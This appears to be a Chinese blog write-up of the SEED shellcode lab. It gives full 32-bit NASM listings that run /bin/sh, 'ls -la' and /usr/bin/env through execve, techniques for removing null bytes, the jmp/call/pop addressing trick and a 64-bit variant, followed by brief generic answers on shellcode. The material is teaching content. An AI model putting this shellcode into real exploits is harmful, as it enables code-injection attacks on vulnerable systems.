网络攻防技术—shellcode编写实验

一、实验主题

    shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode,但是能够从头开始编写我们自己的shellcode总是令人兴奋的。shellcode中涉及到几种有趣的技术。本实验的目的是帮助学生理解这些技术,以便他们能够编写自己的shellcode。

    编写shellcode有几个挑战,一个是确保二进制文件中没有0x00,另一个是找出命令中使用的数据的地址。第一个挑战不是很难解决,有几种方法可以解决它。第二个挑战的解决方案引出了编写shellcode的两种典型方法。在一种方法中,数据在执行期间被推入堆栈,因此可以从堆栈指针获得它们的地址。在第二种方法中,数据存储在代码区域中,就在调用指令之后,因此在调用调用函数时,其地址被推入堆栈(作为返回地址)。两种解决方案都非常巧妙,我们希望学生能够学习这两种技术。

二、实验环境

This lab has been tested on the SEED Ubuntu 20.04 VM. You can download a pre-built image from the SEED website, and run the SEED VM on your own computer. However, most of the SEED labs can be conducted on the cloud, and you can follow our instruction to create a SEED VM on the cloud.

三、实验内容

Task 1: Writing Shellcode

    在本任务中,我们将首先从一个shellcode示例开始,演示如何编写shellcode。之后,我们要求学生修改代码来完成各种任务。

    Shellcode通常使用汇编语言编写,这取决于计算机体系结构。我们将使用Intel架构,它有两种类型的处理器:x86(32位CPU)和x64(64位CPU)。在本任务中,我们将重点关注32位shellcode。在最后的任务中,我们将切换到64位的shellcode。虽然现在大多数计算机是64位计算机,但它们可以运行32位程序。

Task 1.a: The Entire Process

    在这个实验中给出了一个基于X86架构的shellcode,我们将从中学习如何编写一个shellcode。该代码的作用是启动一个shell,代码如下图所示:

    ① 使用nasm编译该代码

   -f elf32选项表示我们希望将文件编译为32 bit的ELF二进制文件。The Executable and Linkable Format(ELF)是可执行文件,目标代码,共享库的标准格式。

    ② 链接生成最终可执行二进制文件

    ③ 运行mysh文件,并在运行前后用ehco $$查看Shell的进程ID

    根据输出可知mysh确实启动了一个新的shell。

    ④ 获取机器码

    在攻击过程中,我们只需要shellcode的机器代码,而不是一个独立的可执行文件,它包含的数据不是实际的机器代码。从技术上讲,只有机器代码被称为shellcode。因此,我们需要从可执行文件或目标文件中提取机器代码。有很多方法可以做到这一点。一种方法是使用objdump命令来反汇编可执行文件或目标文件。

    汇编代码有两种不同的常用语法模式,一种是AT&T语法模式,另一种是Intel语法模式。默认情况下,objdump使用AT&T模式。接下来,我们使用-Mintel选项以英特尔模式生成汇编代码。

    在上面的打印输出中,红色标记的部分是机器代码。还可以使用xxd命令打印出二进制文件的内容:

                        ……………(此处省略部分内容)……………………

    从中我们可以看到机器码的部分

    ⑤ 在攻击代码中使用shellcode

    在实际的攻击中,我们需要在攻击代码中包含shellcode,比如Python或C程序。我们通常将机器码存储在一个数组中,但是如果手动完成,将上面打印的机器码转换为Python和C程序中的数组赋值是相当繁琐的,特别是当我们需要在实验中多次执行此过程时。为此,实验设计者编写了下面的Python代码来帮助完成这个过程。只需复制xxd命令得到的内容(只有shellcode部分),并将其粘贴到以下代码中以"""标记的行之间。

    运行convert.py,它会将shellcode保存到数组中打印出来

Task 1.b. Eliminating Zeros from the Code

    ① 对类似于strcpy()之类的字符串函数,默认将‘0’作为字符串的末尾,因此当它们运行到‘0’时就会停止运行。而‘0’以后的内容将不会被复制,这将导致shellcode攻击无法成功。

    虽然不是所有的漏洞都有零的问题,但机器代码中不能有零是shellcode的一个要求。否则,shellcode的应用将受到限制。

    ② 有很多技术可以从shellcode中删除0。代码mysh.s需要在4个不同的地方使用0。请找出所有这些地方,并解释代码如何使用零,但没有在代码中引入零。

    下面给出一些提示:

    e.g.1: 如果想将0赋值给eax,可以使用“mov eax, 0”,但这样做会在机器码中得到一个0。解决这个问题的典型方法是使用“xor eax, eax”。请解释一下为什么会这样做?

    xor的作用是执行异或操作,将eax寄存器与自身进行异或,使得eax寄存器的值变为0,此时将eax入栈,等价于将0入栈。

    e.g.2:如果要将0x00000099存储到eax。我们不能只使用mov eax, 0x99,因为第二个操作数实际上是0x00000099,其中包含3个0。为了解决这个问题,我们可以首先将eax设置为0,然后将一个1字节的数字0x99分配给al寄存器,它是eax寄存器的最低8位。

    在mysh.s中想要存储的值为0x0000000b,使用了上述方法,将eax设置为0,然后将一个字节的0x0b分配给al寄存器,即eax寄存器的最低8位。

    e.g.3:另一种方法是使用shift。在下面的代码中,首先将0x237A7978赋给了ebx。在ASCII中,x、y、z和#的值分别是0x78、0x79、0x7a和0x23。因为大多数Intel cpu使用小端字节序,最低有效字节存储在较低的地址(即字符x),所以xyz#表示的数字实际上是0x237A7978。当使用objdump反汇编代码时,您可以看到这一点。

    在将数字赋值给ebx之后,我们将这个寄存器向左移动8位,因此最高有效字节0x23将被移出并丢弃。然后,我们将寄存器向右移动8位,因此最高有效字节将被0x00填充。在此之后,ebx将包含0x007A7978,它等同于"xyz\0",即该字符串的最后一个字节变为0。

    图中四处标记的地方使用了0,其中前三处和e.g.1同理,第四处在e.g.2中有说明。

    在mysh.s中。我们把"//sh"压入栈:

    实际上,我们只是想把“/sh”压入栈中,但是push指令必须压入一个32位的数字。因此,我们在开头添加了一个冗余的”/”;对于操作系统,“//”相当于一个”/”。

    ③ 任务要求:

    对于Task1.b,我们将使用shellcode来执行/bin/bash,它的命令字符串中有9个字节(如果算上末尾的0,则为10个字节)。通常,要将此字符串推入堆栈,我们需要使长度为4字节的倍数,因此我们将字符串转换为/binbash(这样确保了长度为12个字节)。

    但是,在这个任务,要求不允许在字符串中添加任何冗余/,即命令的长度必须为9字节(/bin/bash)。除了证明可以得到bash shell之外,还需要证明代码中没有0。

    ④ 解决方法:

    我们参考e.g.3中的方法:

    mov ebx,“h####” 将h后面添加三个占位符凑成四个字节,复制给ebx,此时ebx的存储情况为:

    shl ebx,24 将ebx内存储的内容左移24位,此时低地址的24位被挤出,字符h占最低位:

    shr rbx, 24 将ebx内存储的内容右移24位,此时高地址的24位被挤出,字符h重新占据最高有效地址:

    此时在内存中ebx的内容读取后就是h,后面的0被当作终止符。将ebx压入栈中: push ebx。后续正常push剩余的8个字符即可。

    编译运行,查看机器码:

    可以看到机器码中没有00,但我们成功将0x00压入了栈中,运行查看:

    两次shell的进程号不同,shellcode执行成功,Task1.b完成。

Task 1.c. Providing Arguments for System Calls

    ① 在mysh.s中,构造了命令行参数数组来存储参数,但运行的命令只是/bin/sh,没有参数。

    在本实验中,要求运行命令: /bin/sh -c "ls -la"。在这个新命令中,argv数组应该有以下四个元素,所有这些元素都需要在堆栈上构造。

    ② 解决方案:

    argv[0] = “/bin/sh”,延用之前实验的方法,添加冗余/

    argv[1] = “-c”,使用Task1.b中的方法,添加占位符

    写完才发现使用“##-c”更加简单,只需要移动一次。

    argv[2] = “ls -la”,同理

     最后依次将各个argv参数push入栈即可,完整代码如下

section .text
  global _start
    _start:
      ; Store the argument string on stack
      xor  eax, eax 
      push eax          ; Use 0 to terminate the string
      push "//sh"
      push "/bin"
      mov  ebx, esp     ; Get the address of argv[0]

      push eax          ; Use 0 to terminate the string
      mov eax, "-c##"
      shl eax, 16
      shr eax, 16
      push eax          ; eax = -c
      mov edx, esp      ; Get the address of argv[1]
      
      mov eax, "##la"
      shr eax, 16
      push eax
      push "ls -"
      mov ecx, esp      ; Get the address of argv[2]

      ; Construct the argument array argv[]
      xor eax, eax
      push eax          ; argv[3] = 0
      push ecx          ; argv[2] points "ls -la"
      push edx          ; argv[1] points "-c"
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]
   
      ; For environment variable 
      xor  edx, edx     ; No env variables 

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80

    ③ 运行效果

    编译运行,查看运行效果:

    与命令行直接运行效果对比:

    效果一致,查看机器码,没有0x00,Task1.c成功

Task 1.d. Providing Environment Variables for execve()

    ① 任务目标:

    execve()系统调用的第三个参数是一个指向环境变量数组的指针,它允许我们将环境变量传递给程序。在我们的示例程序中(第❹行),我们向execve()传递了一个null指针,因此没有向程序传递环境变量。

    在这个任务中,我们将编写一个名为myenv.s的shellcode。当执行这个程序时,它会执行“/usr/bin/env”命令,该命令可以打印出以下环境变量:

    注意此处环境变量cccc的值必须为四个字节,不允许在其后添加多余的空间。

    ② 解决方案:

    首先修改命令字符串部分:

    设置环境变量的方法和Task1.c中设置argv参数的方法类似,构造好每个变量后依次将地址push入栈即可:

    此处env[2]产生0的原理与Task1.c中同理:

    注意:将环境变量入栈的操作放在传入命令行参数之前。

    完整代码:

section .text
  global _start
    _start:
      ; For environment variable 
      xor  eax, eax      
      push eax          ; end of the string
      push "1234"
      push "aaa="
      mov ebx, esp      ; Get the address of env[0]

      xor  eax, eax      
      push eax          ; end of the string
      push "5678"
      push "bbb="
      mov ecx, esp      ; Get the address of env[1]

      mov eax, "###4"
      shr eax, 24       ; Generate 0 
      push eax       
      push "=123"
      push "cccc"
      mov edx, esp      ; Get the address of env[2]

      xor eax, eax
      push eax          ; env[3] = 0
      push edx          ; env[2] = address to the "cccc=1234" string
      push ecx          ; env[1] = address to the "bbb=5678" string
      push ebx          ; env[0] = address to the "aaa=1234" string
      mov edx, esp

      ; Store the argument string on stack
      xor  eax, eax 
      push eax          ; Use 0 to terminate the string
      push "/env"
      push "/bin"
      push "/usr"
      mov  ebx, esp     ; Get the string address

      ; Construct the argument array argv[]
      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/usr/bin/env"
      mov  ecx, esp     ; Get the address of argv[]

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80

    ③ 运行效果:

    检查有没有0x00:

     机器码中不存在断点0,Task1.d完成。

Task 2: Using Code Segment

    ① 样例程序:

    在Task1中,解决获取数据地址问题的方式是每次构造完数据结构后,动态获取当前的栈顶地址,这样就能获取目标数据的地址。

    另外一种解决上述问题的方式,数据存储在代码段中,通过调用mechanism函数来获取其地址,下面是示例代码:

    该代码首先跳转到two的位置,然后执行命令call one进行下一次跳转,但call命令跳转前会先记录当前命令的下一条命令的地址作为返回地址,此处即返回到②行的位置。此处②行不是命令,而是一个字符串,call命令会将这个字符串的地址作为返回地址压入栈中,作为栈顶的内容。此时跳转到one中,执行①行pop ebx,会将栈顶内容弹出并存储在ebx中,此时ebx就获得了字符串的地址。

    如果我们想获得一个可执行文件,我们需要在运行链接程序(ld)时使用——omagic选项,这样代码段是可写的。

    ② 任务目标:

    (1)给样例程序从第①行开始给出每行的详细解释,说明为何其能够实现运行“/bin/sh”,如何构造出argv[ ]数组的。

    其中8-12行关于字符串内容和其地址的操作如下:

    (2)使用样例程序中的方法,编写一个新的shellcode,使其能够运行命令/usr/bin/env,并且能够打印出如下环境变量:

    命令行直接运行命令字符串:

    构造上述命令字符串即可。为 /usr/bin/env - a=11 b=22 四个字符串分别保留四个字符存储地址,并最后留出四位字符存0。

    将占位符*替换为0

    分别构造出四个字符串的地址,并替换占位的字符:

    最后传入参数。

    完整代码如下:

section .text
  global _start
    _start:
	BITS 32
	jmp short two         
    one:                  
 	pop ebx               
 	xor eax, eax

 	mov [ebx+12], al      ; /usr/bin/env%0 
 	mov [ebx+14], al      ; -%0   
	mov [ebx+19], al      ; a=11%0
	mov [ebx+24], al      ; b=22%0

    lea edx, [ebx+0]      ; get the address of /usr/bin/env
	mov [ebx+25], edx     ; move the address to AAAA
    lea edx, [ebx+13]     ; get the address of -
	mov [ebx+29], edx     ; move the address to BBBB
	lea edx, [ebx+15]     ; get the address of a=11
	mov [ebx+33], edx     ; move the address to CCCC
	lea edx, [ebx+20]     ; get the address of b=22
	mov [ebx+37], edx     ; move the address to DDDD
	mov [ebx+41], eax     ; move 0000 to EEEE

 	lea ecx, [ebx+25]     ; pass /usr/bin/env - a=11 b=22
 	xor edx, edx
 	mov al,  0x0b
 	int 0x80

     two:
 	call one
 	db '/usr/bin/env*-*a=11*b=22*AAAABBBBCCCCDDDDEEEE'   

    ③ 运行效果:

    成功执行命令,查看机器码:

    没有中断0,Task2完成。

Task 3: Writing 64-bit Shellcode

    ① 任务目标:在x64 shellcode中实现Task1.b的任务:

    在x64架构中,系统调用是通过syscall指令实现的,系统调用的前三个参数存储在rdx、rsi、rdi寄存器中。

    ② 解决方案:

    参考Task1.b中移动字符串的方法即可实现不规则长度的字符串传参:

    ③ 运行效果:

    查看机器码,没有截断0,Task3完成。

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Shellcode是一种在操作系统内核中执行的二进制代码。它通常用于漏洞利用和恶意软件中。编写shellcode需要了解汇编语言和操作系统内部工作原理。步骤包括确定目标系统平台、编写汇编代码、使用汇编器将代码转换为机器码并去除不必要的部分。最后,通过十六进制编辑器将机器码转换为可执行的shellcode。 ### 回答2: Shellcode是计算机安全领域中的一个术语,指的是一段精心编写的机器码,用于向远程服务器发送攻击代码。Shellcode由语言所写的基本单元构成,可以看作是一些机器指令的序列,这些指令可以被攻击者从攻击文件中提取并加载到内存中来执行。 在编写Shellcode时,攻击者需要考虑以下几个因素: 1. 选择合适的语言:通常情况下,攻击者使用较低级别的语言编写Shellcode,比如汇编、C语言等,具有较高的攻击性和灵活性。高级语言可被编译成较低级别的机器码,但由于其过于复杂,会使攻击者的目标变得更加难以实现。 2. 确定攻击目标:在编写Shellcode时,攻击者需要明确自己的目标是什么,因为Shellcode的内容和指定的操作系统有关。如果攻击者要攻击Linux操作系统,则需要编写适用于Linux的Shellcode。 3. 了解系统调用:Shellcode本质上是攻击代码,需要与操作系统进行交互才能实现攻击功能。攻击者需要深入了解目标操作系统的系统调用,以便编写能够集成到Shellcode中的函数。 4. 隐藏自己的Shellcode:攻击者的Shellcode需要能够在执行攻击时隐藏自己的存在,防止被服务器的安全防御发现并阻止其执行。因此,编写Shellcode的过程中,添加一些默默执行的优化代码通常会使Shellcode更难被检测出来。 综上所述,Shellcode编写需要仔细考虑许多细节和攻击原理,是一个非常复杂和挑战性的工作。需要具有深入的技术知识、大量的实操经验和强烈的创造力来成功实现。因此,对于那些想要保护自己计算机系统的安全和隐私的用户来说,应该注意提高自己的网络安全意识,以免成为黑客攻击的目标。 ### 回答3: Shellcode是一种机器可执行代码,通常用于利用软件或系统漏洞,实现攻击者的目的。它们是用汇编语言编写的小段程序,目的是在攻击者控制的环境中提供一个命令行接口。Shellcode是计算机安全方面的一个重要组成部分,它们用来攻击网络或操作系统,并实现攻击者的目标,比如窃取敏感信息、获得系统管理员权限等。 Shellcode编写过程需要以下步骤: 1. 选择正确的汇编代码和指令:攻击者需要使用特定的汇编代码和指令,以便在目标系统上实现其目的。这些代码和指令通常是最简单的和最小的,以便在运行时不引起注意,并且可以在目标系统上尽可能快地执行。 2. 手写代码或使用自动化工具:在编写Shellcode时,可以手动编写代码,也可以利用自动化工具(如Metasploit)来生成代码。无论哪种方法都需要足够的经验和技术。 3. 调试和测试:成功编写shellcode需要进行检查,确保其在目标环境中能够准确执行所需的操作。一些测试工具和脚本可以用于对Shellcode进行测试,以保证其正确性和稳定性。 4. 压缩和编码:为了使Shellcode足够小,可以使用压缩和编码技术来减小代码体积。这有助于减小Shellcode在内存中的占用空间,并增加攻击成功的几率。 总的来说,Shellcode编写需要具备丰富的汇编语言编程知识和安全实践经验,同时需要掌握各种测试和修复技术。攻击者使用Shellcode来实施危害,所以安全团队需要相应地采取措施,防范和识别Shellcode攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值